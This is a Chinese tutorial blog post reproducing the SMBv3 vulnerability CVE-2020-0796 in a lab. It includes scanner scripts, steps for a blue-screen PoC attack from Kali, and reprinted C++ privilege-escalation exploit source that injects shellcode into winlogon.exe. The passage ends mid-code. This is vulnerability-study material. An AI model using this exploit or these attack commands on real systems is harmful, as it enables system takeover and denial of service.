这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。前文分享了hack the box的OpenAdmin题目,结合Nmap、Gobuster、蚁剑等工具拿取管理员权限。本文将详细讲解SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可能利用此漏洞远程无需用户验证,通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码,从而获取机器的完全控制,利用的端口仍是445。本文是一篇CVE漏洞还原的基础性文章,希望对您有所帮助。

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

文章目录

  • 一.漏洞描述
  • 二.Win10本地提权
    • 1.开启445端口
    • 2.SMBGhost漏洞扫描
    • 3.本地EXP提取
  • 三.虚拟机蓝屏攻击
    • 1.环境搭建
    • 2.攻击实验
  • 四.漏洞原因分析
    • 1.C++代码解析
    • 2.Python代码解析
  • 五.防御措施
  • 六.总结

PS:本文参考了github、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

作者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
CVE工具:https://github.com/eastmountyxz/CVE-2020-0796-SMB


声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包



一.漏洞描述

基本描述:
2020年3月11日,某国外安全公司发布了一个近期微软安全补丁包所涉及漏洞的综述,其中谈到了一个威胁等级被标记为Critical的SMB服务远程代码执行漏洞(CVE-2020-0796)。攻击者可能利用此漏洞远程无需用户验证通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码,从而获取机器的完全控制。

在这里插入图片描述

微软SMBv3(Server Message Block 3.0)服务远程代码执行漏洞(CVE-2020-0796)可被攻击者利用,实现无须权限即可执行远程代码,受攻击的目标系统只需开机在线即可能被入侵。该漏洞后果十分接近永恒之蓝系列,存在被WannaCry等勒索蠕虫利用的可能,攻击者可以构造特定的网页、压缩包、共享目录、Office文档等多种方式触发漏洞进行攻击,对存在该漏洞的Windows主机造成严重威胁。


目前奇安信息威胁情报中心红雨滴团队已经确认漏洞的存在,利用此漏洞可以稳定地导致系统崩溃,不排除执行任意代码的可能性,由于漏洞无需用户验证的特性,可能导致类似WannaCry攻击那样蠕虫式的传播。2020年3月12日微软发布了相应的安全补丁,强烈建议用户立即安装补丁以免受此漏洞导致的风险。2020年3月14日,已有可导致受影响系统蓝屏崩溃的漏洞利用POC在公开渠道发布,可以稳定地导致系统远程拒绝服务。

3月22日奇安信代码安全团队发布了针对此漏洞的远程无损扫描器,可以帮助网络管理员快速地识别存在此漏洞的系统,欢迎使用。3月30日公开渠道出现利用此漏洞的本地提权利用代码,奇安信验证可用,本地攻击者可以利用漏洞从普通用户权限提升到系统权限。
参考文献: 奇安信威胁情报中心红雨滴团队的分析报告


影响版本:
该漏洞属于远程代码执行漏洞,漏洞主要影响Windows10的系统及应用版本(1903和1909),包括32位、64位的家用版、专业版、企业版、教育版。具体如下:

  • Windows 10 Version 1903 for 32-bit Systems
  • Windows 10 Version 1903 for ARM64-based Systems
  • Windows 10 Version 1903 for x64-based Systems
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows Server, version 1903 (Server Core installation)
  • Windows Server, version 1909 (Server Core installation)

在这里插入图片描述


漏洞原理:
在微软SMBv3远程代码执行漏洞中,SMB 3.1.1协议处理压缩消息时,对其中的数据没有经过安全检查,直接使用可能引发内存破坏漏洞,从而被攻击者利用远程执行任意代码。攻击者通过发送特殊构造的数据包触发漏洞,无需用户验证就可能控制目标系统,同时影响服务器与客户端系统。

该漏洞存在于Windows的SMBv3.0(文件共享与打印服务)中,利用的端口是445。 当SMBv3.0处理恶意制作的压缩数据包时,由于SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压,并没有检查长度是否合法,最终导致整数溢出。远程未经认证的攻击者就可能利用此漏洞在应用程序的上下文中执行任意代码,系统受到非授权控制。


漏洞利用:

  • 本地EXP提权:https://github.com/danigargu/CVE-2020-0796
  • SMB扫描工具:https://github.com/ollypwn/SMBGhost
  • POC蓝屏攻击: https://github.com/eerykitty/CVE-2020-0796-PoC
  • Python POC版本:https://github.com/ZecOps/CVE-2020-0796-LPE-POC
  • 漏洞检测工具:https://github.com/joaozietolie/CVE-2020-0796-Checker
  • 作者收集工具:https://github.com/eastmountyxz/CVE-2020-0796-SMB


二.Win10本地提权

第一个实验是利用CVE-2020-0796漏洞进行本地提取,攻击者利用该漏洞从普通用户权限提升到系统权限。实验代码采用C++实现,主要执行EXE程序。
参考代码:https://github.com/danigargu/CVE-2020-0796


1.开启445端口

首先需要开启445端口。该端口和135、137、138、139、3389都是常见的高危端口,大家需要注意防御。作为安全初学者,如果指定端口都未开启或关闭,谈何后续的实验及防御呢?由于作者被该端口困扰了一段时间,所以简单分享一些基础知识,大佬勿喷~


第一步,Windows查看某个端口是否开启。

  • telnet 127.0.0.1 455
    显示连接失败

在这里插入图片描述

  • netstat -ano -p tcp | find “445” >nul 2>nul && echo 445端口已开启 || echo 445未开启
    445端口显示未开启,而3389端口显示已开启

在这里插入图片描述

  • netstat -ano
    未显示TCP开启445端口

在这里插入图片描述


第二步,高级安全入站规则设置445端口允许。
点击“防火墙”->“高级设置”。

在这里插入图片描述

设置“入站规则”->“新建规则”->“端口”设置。

在这里插入图片描述

设置TCP特定端口445,允许连接和应用所有规则。

在这里插入图片描述

在这里插入图片描述

设置成功之后如下图所示,在测试445端口是否成功。此时仍然可能显示未开启。

在这里插入图片描述


第三步,注册表中新建SMBDeviceEnabled选项。
在注册表中查看如下路径,发现没有SMBDeviceEnabled选项。

计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters

在这里插入图片描述

在右边空白处右击新建“QWORD(32位)值”,然后重命名为“SMBDeviceEnabled”。

在这里插入图片描述

再把这个子键的值改为1。但是作者的445端口仍然显示未开启,哎,自己真是菜得抠脚~

在这里插入图片描述


第四步,启用文件和打印机共享,开启Server服务。
最终原因是Server服务未开启。Server支持计算机通过网络的文件、打印、和命名管道共享。如果服务停止,这些功能不可用。如果服务被禁用,任何直接依赖于此服务的服务将无法启动。

“网络和共享中心”->“高级共享设置”。

在这里插入图片描述

在运行中输入“services.msc”打开服务,开启Server。

在这里插入图片描述

Server开启后终于成功打开445端口。

在这里插入图片描述

重启计算机显示445开启。

在这里插入图片描述

注意:实验完成之后建议关闭445端口,或立刻打补丁。



2.SMBGhost漏洞扫描

接着我们尝试用 “https://github.com/ollypwn/SMBGhost” 代码扫描是否存在该漏洞,Win10注意关闭防火墙。运行结果如下图所示,表示存在CVE-2020-0796漏洞。

  • python scanner.py 192.168.0.105
  • pip install netaddr 安装扩展包

在这里插入图片描述


扫描程序仅用于测试服务器是否易受攻击,它通过协商请求检查SMBv3.1.1协议和压缩功能,源代码如下所示。该漏洞主要是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的,它可让远程且未经身份验证的攻击者在目标系统上执行任意代码。

scanner.py

import socket
import struct
import sys
from netaddr import IPNetworkpkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'subnet = sys.argv[1]#subnet = '192.168.44.141'for ip in IPNetwork(subnet):sock = socket.socket(socket.AF_INET)sock.settimeout(3)try:sock.connect(( str(ip),  445 ))except:sock.close()continuesock.send(pkt)nb, = struct.unpack(">I", sock.recv(4))res = sock.recv(nb)if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":#print(f"{ip} Not vulnerable.")print("%s Not vulnerable." % ip)else:#print(f"{ip} vulnerable")print("%s Vulnerable" % ip)


3.本地EXP提取

第一步,运行C++代码(sln程序),生成如下图所示exe程序。

  • cve-2020-0796-local.exe

在这里插入图片描述


第二步,在运行中输入“winver”命令检查Windows版本,必须是Win10 1903或1909。

在这里插入图片描述

显示如下图所示,作者的未1909。

在这里插入图片描述


第三步,用管理员权限运行CMD(命令提示符),输入“whoami”。

  • 输出结果为普通用户权限:desktop-k…86\xxxxxx

在这里插入图片描述


第四步,用管理员打开PowerShell,运行exe程序提权。
按下组合键Windows+R以打开运行窗口,输入powershell会以当前用户的权限去执行。

在这里插入图片描述

如果你想要从普通模式转至管理员模式,输入以下PowerShell命令然后按下回车键。

  • Start-Process powershell -Verb runAs

在这里插入图片描述

输入如下命令运行EXE程序。

  • D:
  • cd D:\SMBGhost-master\CVE-2020-0796-master\cve-2020-0796-local\x64\Debug
  • .\cv 按TAB键自动补齐 .\cve-2020-0796-local.exe
  • 成功运行程序

在这里插入图片描述


第五步,此时EXE成功运行并利用SMB漏洞。在CMD中输入“whoami”命令,可以看到普通用户权限提升至管理员权限。

  • 普通权限:desktop-k…86\xxxxxx
  • 管理员权限:nt authority\system

在这里插入图片描述

系统管理员帐户:许多服务和Windows进程需要在内部登录 (例如在Windows安装过程中),系统帐户就是为该目的设计的。它是内部帐户,不显示在用户管理器,也无法添加到任何组,并且不能分配用户权限。默认情况下,系统帐户授予完全控制NTFS卷上的所有文件。在此系统帐户具有作为管理员帐户相同的功能权限。
普通管理员账户:不能够在系统内部登录。对于文件系统,管理员账户和SYSEM账户具有相同的权限。但是对于一些服务和进程,我们需要使用系统账户而非管理员账户,因为这些服务和进程要和系统交互,需要内部登录。
在执行计划任务时,如果我们使用NT AUTHORITY\SYSTEM账户,那么是不需要输入密码的。但是使用管理员账户,我们必须输入密码。一般使用系统账户是为了防止管理员改变密码后任务无法执行。对于一般的操作,可以使用任何一个账户但还是建议您使用管理员或者普通用户执行。如果和进程或者服务有关的话,您可以使用系统账户。

Process Explorer打开的提权进程如下图所示:

在这里插入图片描述


自此,本地提权实验成功,实验结束建议关闭445端口或完善补丁,切记。C++代码及原理将在文章的第四部分详细讲解。



三.虚拟机蓝屏攻击

1.环境搭建

  • 受害机:Windows 10 1903 64位专业版
  • 攻击机:Kali系统

第一步,在虚拟机中安装Windows 10系统和Kali系统。

  • https://msdn.itellyou.cn/

在这里插入图片描述

运行中输入“winver”查看版本信息为1903。

在这里插入图片描述


第二步,虚拟机两个系统之间能够相互通信。

  • Kali:192.168.44.138
  • Win XP:192.168.44.140

在这里插入图片描述

在这里插入图片描述


第三步,打开Windows 10系统,确定445端口开启。如下图所示,在CMD中输入“netstat -ano”查看端口445是否打开。开启方法前面已详细讲解。

在这里插入图片描述

在这里插入图片描述


第四步,关闭Windows系统的防火墙。

在这里插入图片描述


注意,某些情况系统已打过补丁,还需要删除补丁KB4551762才能成功实验。作者也存在一个疑问,采用Win10 32位 1903版本蓝屏攻击总失败,Why?

在这里插入图片描述

删除后重启计算机即可。

在这里插入图片描述



2.攻击实验

第一步,采用scanner.py或bash文件扫描该漏洞。这里采用另一种方法,参考资源:https://github.com/joaozietolie/CVE-2020-0796-Checker

  • 上传文件至Kali系统,作者采用文件共享
  • chmod +x CVE-2020-0796-Checker.sh
  • bash CVE-2020-0796-Checker.sh -t 192.168.44.140

在这里插入图片描述


CVE-2020-0796-Checker.sh

#!/bin/bash
NC='\033[0m'
RED='\033[0;31m'
GREEN='\033[0;32m'
#Code by João Zietolie :)while getopts "t:" OPTION; docase "${OPTION}" int) target="${OPTARG}";;esac
doneif [[ "$target" > "0" ]]; then echo "Checking for SMB v3.11 in $target ..."result=$(nmap -p445 --script smb-protocols -Pn -n $target  | grep -o 3.11) if [[ "$result" == '3.11' ]]; thenecho -e "$target - ${RED}FOUND 3.11 VERSION - POSSIBLY VULNERABLE TO CVE-2020-0796" ${NC}elseecho -e "$target - ${GREEN}There is no SMB v3.11 - possibly not vulnerable (Port 445 can be filtered or closed)"  ${NC}fi
elseecho -e "${RED}USAGE: bash CVE-2020-0796-Checker.sh -t IP${NC}"
fi

第二步,从github下载POC蓝屏攻击代码至Kali系统。

  • https://github.com/eerykitty/CVE-2020-0796-PoC
  • 命令:git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git

在这里插入图片描述

在这里插入图片描述


第三步,安装扩展包并实现POC蓝屏攻击。

  • pip install ntlm_auth
  • python CVE-2020-0796.py 192.168.44.140

在这里插入图片描述

在这里插入图片描述

此时,Win10系统蓝屏重启,如下图所示。作者又有一个疑问,如何获取Shell而不蓝屏呢?

在这里插入图片描述



四.漏洞原因分析

根据安全研究人员分析,该漏洞是一个整数溢出,发生在SMB服务驱动srv2.sys的Srv2DecompressData函数中。经过研究,研究人员成功证明了CVE-2020-0796漏洞可以被用于本地权限提升。不过需要注意的是,由于API的依赖问题,这个exploit被限制于中等完整性级别(integrity level)。

漏洞成因推荐如下文章:

安全人员发布利用CVE-2020-0796实现提权限的PoC - NOSEC
CVE-2020-0796 Windows SMBv3 LPE Exploit POC 分析 - 晓得哥
Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC
CVE-2020-0796本地利用简析 - goabout2


1.C++代码解析

exploit.cpp

/** CVE-2020-0796 LPE* * Daniel Garcia Gutierrez (@danigargu) - danigargu[at]gmail.com* Manuel Blanco Parajon (@dialluvioso) - dialluvioso[at]protonmail.com* Date: 03/29/2020***/#include <stdio.h>
#include <stdint.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <TlHelp32.h>
#include "ntos.h"#pragma comment(lib, "ws2_32.lib")ULONG64 get_handle_addr(HANDLE h) {ULONG len = 20;NTSTATUS status = (NTSTATUS)0xc0000004;PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;do {len *= 2;pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len);} while (status == (NTSTATUS)0xc0000004);if (status != (NTSTATUS)0x0) {printf("NtQuerySystemInformation() failed with error: %#x\n", status);return 1;}DWORD mypid = GetProcessId(GetCurrentProcess());ULONG64 ptrs[1000] = { 0 };for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) {PVOID object = pHandleInfo->Handles[i].Object;ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue;DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId;if (pid != mypid)continue;if (handle == (ULONG_PTR)h)return (ULONG64)object;}return -1;
}ULONG64 get_process_token() {HANDLE token;HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());if (proc == INVALID_HANDLE_VALUE)return 0;OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token);ULONG64 ktoken = get_handle_addr(token);return ktoken;
}int error_exit(SOCKET sock, const char* msg) {int err;if (msg != NULL) {printf("%s failed with error: %d\n", msg, WSAGetLastError());}if ((err = closesocket(sock)) == SOCKET_ERROR) {printf("closesocket() failed with error: %d\n", WSAGetLastError());}WSACleanup();return EXIT_FAILURE;
}int send_negotiation(SOCKET sock) {int err = 0;char response[8] = { 0 };const uint8_t buf[] = {/* NetBIOS Wrapper */0x00,                   /* session */0x00, 0x00, 0xC4,       /* length *//* SMB Header */0xFE, 0x53, 0x4D, 0x42, /* protocol id */0x40, 0x00,             /* structure size, must be 0x40 */0x00, 0x00,             /* credit charge */0x00, 0x00,             /* channel sequence */0x00, 0x00,             /* channel reserved */0x00, 0x00,             /* command */0x00, 0x00,             /* credits requested */0x00, 0x00, 0x00, 0x00, /* flags */0x00, 0x00, 0x00, 0x00, /* chain offset */0x00, 0x00, 0x00, 0x00, /* message id */0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* reserved */0x00, 0x00, 0x00, 0x00, /* tree id */0x00, 0x00, 0x00, 0x00, /* session id */0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, /* signature */0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,/* SMB Negotiation Request */0x24, 0x00,             /* structure size */0x08, 0x00,             /* dialect count, 8 */0x00, 0x00,             /* security mode */0x00, 0x00,             /* reserved */0x7F, 0x00, 0x00, 0x00, /* capabilities */0x01, 0x02, 0xAB, 0xCD, /* guid */0x01, 0x02, 0xAB, 0xCD,0x01, 0x02, 0xAB, 0xCD,0x01, 0x02, 0xAB, 0xCD,0x78, 0x00,             /* negotiate context */0x00, 0x00,             /* additional padding */0x02, 0x00,             /* negotiate context count */0x00, 0x00,             /* reserved 2 */0x02, 0x02,             /* dialects, SMB 2.0.2 */0x10, 0x02,             /* SMB 2.1 */0x22, 0x02,             /* SMB 2.2.2 */0x24, 0x02,             /* SMB 2.2.3 */0x00, 0x03,             /* SMB 3.0 */0x02, 0x03,             /* SMB 3.0.2 */0x10, 0x03,             /* SMB 3.0.1 */0x11, 0x03,             /* SMB 3.1.1 */0x00, 0x00, 0x00, 0x00, /* padding *//* Preauth context */0x01, 0x00,             /* type */0x26, 0x00,             /* length */0x00, 0x00, 0x00, 0x00, /* reserved */0x01, 0x00,             /* hash algorithm count */0x20, 0x00,             /* salt length */0x01, 0x00,             /* hash algorith, SHA512 */0x00, 0x00, 0x00, 0x00, /* salt */0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00,             /* pad *//* Compression context */0x03, 0x00,             /* type */0x0E, 0x00,             /* length */0x00, 0x00, 0x00, 0x00, /* reserved */0x02, 0x00,             /* compression algorithm count */0x00, 0x00,             /* padding */0x01, 0x00, 0x00, 0x00, /* flags */0x02, 0x00,             /* LZ77 */0x03, 0x00,             /* LZ77+Huffman */0x00, 0x00, 0x00, 0x00, /* padding */0x00, 0x00, 0x00, 0x00};if ((err = send(sock, (const char *)buf, sizeof(buf), 0)) != SOCKET_ERROR) {recv(sock, response, sizeof(response), 0); }return err;
}int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {int err = 0;char response[8] = { 0 };const uint8_t buf[] = {/* NetBIOS Wrapper */0x00,0x00, 0x00, 0x33,/* SMB Header */0xFC, 0x53, 0x4D, 0x42, /* protocol id */0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */0x02, 0x00,             /* compression algorithm, LZ77 */0x00, 0x00,             /* flags */0x10, 0x00, 0x00, 0x00, /* offset */};uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len);if (packet == NULL) {printf("Couldn't allocate memory with malloc()\n");return error_exit(sock, NULL);}memcpy(packet, buf, sizeof(buf));*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;memcpy(packet + sizeof(buf) + 0x10, buffer, len);if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {recv(sock, response, sizeof(response), 0);}free(packet);return err;
}void inject(void) {PROCESSENTRY32 entry;entry.dwSize = sizeof(PROCESSENTRY32);uint8_t shellcode[] = {0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x54,0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,0xff, 0xc2, // inc edx (1 = SW_SHOW)0xFF, 0xD7, 0x48, 0x83, 0xC4,0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 0x00};HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);int pid = -1;if (Process32First(snapshot, &entry) == TRUE) {while (Process32Next(snapshot, &entry) == TRUE) {if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) {pid = entry.th32ProcessID;break;}}}CloseHandle(snapshot);if (pid < 0) {printf("Could not find process\n");return;}printf("Injecting shellcode in winlogon...\n");HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (hProc == NULL) {printf("Could not open process\n");return;}LPVOID lpMem = VirtualAllocEx(hProc, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (lpMem == NULL) {printf("Remote allocation failed\n");return;}		if (!WriteProcessMemory(hProc, lpMem, shellcode, sizeof(shellcode), 0)) {printf("Remote write failed\n");return;}	if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) {printf("CreateRemoteThread failed\n");return;}printf("Success! ;)\n");
}int main(int argc, char* argv[]) {WORD wVersionRequested = MAKEWORD(2, 2);WSADATA wsaData = { 0 };SOCKET sock = INVALID_SOCKET;uint64_t ktoken = 0;int err = 0;printf("-= CVE-2020-0796 LPE =-\n");printf("by @danigargu and @dialluvioso_\n\n");if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) {printf("WSAStartup() failed with error: %d\n", err);return EXIT_FAILURE;}if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {printf("Couldn't find a usable version of Winsock.dll\n");WSACleanup();return EXIT_FAILURE;}sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if (sock == INVALID_SOCKET) {printf("socket() failed with error: %d\n", WSAGetLastError());WSACleanup();return EXIT_FAILURE;}sockaddr_in client;client.sin_family = AF_INET;client.sin_port = htons(445);InetPton(AF_INET, "127.0.0.1", &client.sin_addr);if (connect(sock, (sockaddr*)& client, sizeof(client)) == SOCKET_ERROR) {return error_exit(sock, "connect()");}printf("Successfully connected socket descriptor: %d\n", (int)sock);printf("Sending SMB negotiation request...\n");if (send_negotiation(sock) == SOCKET_ERROR) {printf("Couldn't 